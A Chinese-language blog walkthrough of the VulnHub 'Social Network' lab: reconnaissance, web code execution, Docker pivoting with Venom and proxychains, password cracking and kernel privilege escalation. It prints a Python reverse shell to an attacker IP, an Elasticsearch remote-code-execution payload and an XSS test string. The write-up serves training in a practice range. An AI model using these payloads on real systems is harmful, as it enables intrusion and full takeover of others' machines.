靶场练习1:Medium_Socialnetwork
靶机链接
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
信息收集阶段
进行主机的发现,由于已知主机跟Kali在同一网段下 ,所以使用 arp-scan 工具扫描
主机发现阶段发现同一网段下有三个资产,第一个大概率是网关,第二个经验证是物理机的地址,猜测第三个地址为靶机地址,接下来要对靶机进行端口的扫描,以发现靶机上跑了什么服务
使用nmap进行端口扫描,第一步是对目标进行端口的发现
发现靶机上开了两个端口,其中一个是22端口(SSH服务),另一个是非常见端口5000。针对SSH服务常见的攻击手法是弱口令、暴破或者利用一些历史版本漏洞进行突破,目前收集的信息尚少。可以对端口进行版本的发现,看看各个端口上跑的是什么服务。
通过版本发现可以得到的信息是:系统为Ubuntu,22端口上跑的是SSH服务,5000端口上跑的是http服务,其中的Werkzeug是一个WSGI的工具包,也可以作为Web框架的底层库,基于Python2来实现。使用searchsploit 寻找关于 Werkzeug 的漏洞,可以找到两三个,均利用不成功。
整理一下目前得到的可用信息:其中SSH可以考虑暴破用户名密码,5000端口上跑了一个网站,可以访问寻找突破口,其中的框架是基于Python来实现的,若有代码执行,可以考虑用Python脚本来执行反弹shell。
通过Web漏洞拿shell
尝试访问目标的5000端口,发现是一个交互网站
网站有输入框,但是信息提示 ”绝对安全“, 突破可能性不大。但还是尝试插入了一下XSS payload
<script>alert('justtry')</script>
发现还是原样输出到页面,证明该输入框不是突破点,通过查看源代码也找不到什么其他信息。
尝试收集更多的信息,在网站下进行目录扫描,看有没有管理后台或者敏感信息泄露,这里使用的是dirsearch工具
发现 有一个 /admin 路径,尝试访问,页面有代码测试功能,可尝试代码执行。考虑到框架是基于Python 实现的,可以找 Python 的 反弹shell 代码。
在CSDN上找到一段现成的可以直接拿来用的代码
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.43.173",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
执行前 Kali 应该先监听自身的 4444 端口, 然后执行代码,成功回弹!!!
在这里其实还遇到一个小问题,就是当 shell 是 /bin/bash 的时候,回弹的时候没有回显,于是尝试换成 sh , 回弹就有回显了,我也不知道为什么。
拿下 shell 后 先看看自己的权限, 发现是 root, 就这?
然后去看系统中存在什么文件,发现很不对劲,文件中存在Dockerfile文件,Dockerfile 是 docker 部署的一个模板文件。 初步断定闹了半天拿下的是一个docker 容器的 shell。
可以尝试使用以下两个命令来查证是否docker 容器
ls /.dockerenv
# 根目录下若存在dockerenv, 基本上可断定为docker容器
cat /proc/1/cgroup
# pid为1是初始化进程,若初始化进程中包含了docker映像的信息,可确认为docker容器
确认为 docker 容器后,下一步是如何从 docker容器中 突破出来,最终拿到服务器的 权限。
内网穿透
确认容器地址, 为 172 开头的地址
可以将容器地址看作内网地址,可以在内网中进行主机发现,看看是否还存在其他容器。
最简单进行主机发现的方法是一个个 IP 地址 去 ping, 但手工操作其实很麻烦,尝试用shell脚本完成操作
可以发现 很快就有三个 IP 回包了, 接下来的都没有回包, 初步收集到 内网网段 三个地址。
已知 172.17.0.2 为容器地址,想要用Kali对另外两个地址进行信息收集,必须进行内网穿透,把Kali 到内网的路由 打通, 这里 用到 内网穿透工具 Venom。
首先在 Kali 上运行服务端程序 启动侦听
为了让 目标靶机 能 获取到Venom客户端程序,在 Kali 目录下 开启 http 服务, 然后在目标靶机上使用 wget 来获取
获取客户端程序后,赋予程序可执行权限。用客户端连接远程 Kali 机器
可以看到程序成功执行, 跟服务端的连接也建立起来了。在服务器端,通过 show 命令 可以看到已经有一个节点 连接上来了,可以 goto 到 此节点
并启用一个监听1080 端口的 socks 代理,Kali 的 所有工具 可以通过 proxychains 这个工具 挂上这个代理去访问 容器内网的整个网段
修改proxychains 配置文件,把代理类型改成 socks5, 代理端口 改成 1080
挂载好后,以 proxychains 为前缀,就可以对内网的主机 进行端口扫描了
proxychains nmap -sT -Pn 172.17.0.1
# -Pn 代表不进行主机发现, 直接对目标进行深层次的扫描
# -sT 进行TCP扫描
扫描得出 172.17.0.1 开放的端口 跟 目标靶机 开放的端口一样, 都是22 和 5000浏览器挂代理后对172.17.0.1的5000端口进行访问
继续对服务版本进行探测,发现 跟 目标靶机的 服务版本也完全一模一样。浏览器挂载代理后,访问172.17.0.1的5000端口,发现页面 也跟我们直接访问靶机地址的一模一样,可以确定172.17.0.1就是目标靶机,只不过该地址是靶机面向容器内网的地址。
继续对172.17.0.3 进行端口扫描, 发现开了9200 端口, 对服务进行探测后发现是Elasticsearch
针对服务搜寻漏洞
searchsploit Elasticsearch
发现有RCE可做利用,将漏洞利用代码拷贝到当前目录下,简单看一下脚本的执行例子。
可先尝试一下执行脚本,一般脚本在注释或者报错提示里都有脚本执行的格式,按照格式一步一步来
第一次利用脚本36337.py的时候会报错,原因是elasticsearch服务里面没有数据,所以不能通过elasticsearch来搜索进而执行命令。
解决方法是先插入一条数据,再进行脚本的利用。
proxychains curl -XPOST 'http://172.17.0.3:9200/twitter/user/yren' -d '{ "name" : "Wu" }'
proxychains curl -XPOST 'http://172.17.0.3:9200/_search?pretty' -d '{"script_fields": {"payload": {"script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()"}}}'
成功拿到第二台容器的shell,查看权限,发现也是 root (没什么卵用)
在目录中发现一个敏感文件 passwords, 有可能是密码文件
查看文件,发现密码做了哈希, 去 somd5 尝试破解
解密完密码后,可尝试使用账号密码去登录目标靶机的SSH
发现 John 用户 可直接登录到 目标靶机的 22 端口, 尝试用 sudo -s 提权,发现 John 并不能直接提升为 root 权限
利用内核漏洞提权
此时需要考虑使用系统内核漏洞去提权
使用 searchsploit 搜索 LInux 3.13 相关的漏洞利用代码, 选用 37292.c 这个 exp,但这个 exp 有个问题。首先目标靶机上是没有装 gcc 的, 也就是说 所有的c语言代码只能在 Kali 机器上进行编译。在查看 EXP 的过程中, 发现有一段代码编译了一个c文件成so文件,再对这个so文件进行调用 —— 意味着就算在 Kali 上对 EXP 进行了编译,放到目标靶机上仍无法执行成功。
解决的思路是:修改EXP 代码, 将编译相关的代码段去掉, 然后直接找到编译好的so文件进行调用。
同样是在 Kali 上启用 http 服务,然后在目标主机上获取到需要的文件
为了执行的方便,在获取到 exp 和 so 文件后,将文件移动到 /tmp 目录去执行
先给 exp 赋予可执行权限 ,然后执行。 在执行的过程中,exp 会去调用 目录下的 so文件进行提权,执行结束后 使用 id 命令查看权限, 已经 拿到了目标 靶机的 root 权限了
思路总结
面对靶机,首先是进行主机发现。
针对发现的主机,要进行端口扫描和端口服务的发现。
若服务中有Web应用,尝试在 Web 应用中找突破点,在该靶机中,我们遇到了一个代码执行,并通过Python脚本成功获得了一个反弹shell,但通过对系统文件的搜寻发现被困在一个容器系统中。
使用 ICMP 对容器系统中的资产进行发现,发现了另外两个地址。
为了使用 Kali 的工具对内网 的容器系统进行渗透,利用Venom工具建立了从Kali 到容器内网的隧道,并在 Kali 上开启了 监听1080端口 的代理。通过proxychains 挂载这个代理在Kali 上访问内网。
发现其中一个资产开启了9200端口,判断为 Elasticsearch 服务,通过对其漏洞的利用拿下第二个docker容器的shell,并在该容器中发现了密码文件。
利用密码文件破译出的账号密码尝试登录目标系统的SSH并成功登录,却发现自己只是一个普通用户。
考虑到内核版本比较老,尝试通过内核漏洞进行提权。
由于EXP中调用了gcc进行C文件的编译,所以把关于编译的代码全部删掉,直接找到编译好的so文件进行直接调用。
最终成功获得目标主机的root权限!!!
耶!
靶场练习1:Medium_Socialnetwork的更多相关文章
- CTF丨从零开始搭建WEB Docker靶场
第十二届全国大学生信息安全竞赛即将开始,小伙伴们有报名参加的吗?大家在比赛前是否开始进行模拟演练了?今天,i春秋将与大家分享靶场搭建的相关内容,帮助大家更好的进行实操演练. 学习搭建Docker靶场之 ...
- 第二次靶场练习:cookie注入
cookie注入 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://120. ...
- 第一次靶场练习:SQL注入(1)
SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...
- 文件上传漏洞靶场:upload-labs安装及第一关教程
注:本文仅供学习使用,请勿用于非法操作,后果与作者无关!!! 一.简介 upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场.旨在帮助大家对上传漏洞有一个全 ...
- Jenkins高危代码执行漏洞检测/开源漏洞靶场
漏洞细节可以参看安全客的文章:https://bbs.ichunqiu.com/thread-22507-1-1.html Jenkins-CLI 反序列化代码执行(CVE-2017-1000353) ...
- ethernaut 以太坊靶场学习 (1-12)
前言 这个靶场搜集了许多不同的 solidity 开发的问题,通过这个可以入门 区块链安全 Fallback 给出了源码 pragma solidity ^0.4.18; import 'zeppel ...
- 墨者学院靶场之PHP代码分析溯源(第1题)
申请靶场环境后 点开题目 一段奇怪的PHP代码 因为我自己电脑重装了win10系统,php+apache+mysql的环境本地主机觉得没必要弄了,于是我们用在线的PHP编码(百度一下到处都是) 复制进 ...
- SQLInjection 靶场配置
对于渗透,太小型的网站没有太大价值,而大型网站(比如各种电商平台)对于代码审计往往非常严格,新手基本找不到漏洞,而一些比较容易搞掉的站点(政府.gov.各种教育网站.edu或者很多商业中型站点)渗透又 ...
- 推荐开源靶场Vulhub
转:https://github.com/phith0n/vulhub Vulhub - Some Docker-Compose files for vulnerabilities environme ...
- billu_b0x靶场刷题
https://www.vulnhub.com/ 里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了. 第一步.信息收集 nmap扫描内网开放80端口的存活主机 nmap ...
随机推荐
- 【Unity 框架】 QFramework v1.0 使用指南 工具篇: 16. LiveCodingKit 写代码不用停止运行的利器 | Unity 游戏框架 | Unity 游戏开发 | Unity 独立游戏
我们在用 Unity 开发的时候,每次编写或修改一点代码就需要进行 停止运行->编写代码->等待编译->运行游戏. 而在很多情况下这个过程是一个比较耗神的过程,因为开发者需要等待,还 ...
- 文本纠错:提升OCR任务准确率的方法理解
文本纠错:提升OCR任务准确率的方法理解 摘要:错字率是OCR任务中的重要指标,文本纠错需要机器具备人类水平相当的语言理解能力.随着人工智能应用的成熟,越来越多的纠错方法被提出. 近年来深度学习在O ...
- 移动 WEB 开发布局方式 ---- rem 适配布局
一.rem 基础 1. rem 单位 em : 相对于父元素的字体大小来说的 <div> <p></p> </div> div { font-size: ...
- php 虚拟目录
问题: 站点的root目录为 /data/web/ ,现在想在www.111.com 下放一个站点,www.111.com/abc/ 但不能直接在/data/web/下创建abc目录,要放在 /dat ...
- HTTPS基础原理和配置 - 1
近期又碰到了SSL相关的事情, 就心血来潮开个新专题 - <HTTPS基础原理和配置> 本文是第一篇文章, 主要介绍SSL TLS加密协议的相关内容. 加密协议历史概要 SSL TLS加密 ...
- Vue36 hash模式和history模式
1 简介 路由模块的本质就是建立起url和页面之间的映射关系.hash模式url里面永远带着#号,history没有,开发当中默认使用hash模式. 2 hash模式和history的区别 1)has ...
- spring-in-action_day01
前景说明:SpringInAction主要致力于SpringBoot为基础的讲解,尽可能多的使用SpringBoot,可以减少显行的配置,如xml配置,可以更加的专注于功能的实现. 第一章:主要讲了如 ...
- 线程基础知识09-JAVA的可见性和有序性问题
1 CPU中的三级缓存及可见性问题 1.1 简介 1.2 缓存行Cacheline 1.3 可见性问题-缓存一致性协议 2 JAVA中的有序性问题 2.1 指令重排简介 2.2 as-if-seria ...
- 这是一篇乖巧的草稿——vscode上传代码到代码托管平台GitHub
一.在GitHub上创建一个远程仓库: 以上,就创建好了一个名为pythonStudy的仓库,现在先别把它关掉,先最小化 二.安装版本管理工具git:git属于无脑安装,可以更改安装路径 打开项目文件 ...
- Xlight安装与使用
Xlight安装与使用 一.Xlight安装 下载Xlight安装包,点击安装,默认就可以,下一步 点击左上角增加虚拟服务器,IP地址为本机服务器IP地址 右键点击新添加的虚拟服务器,点击虚拟服务器操 ...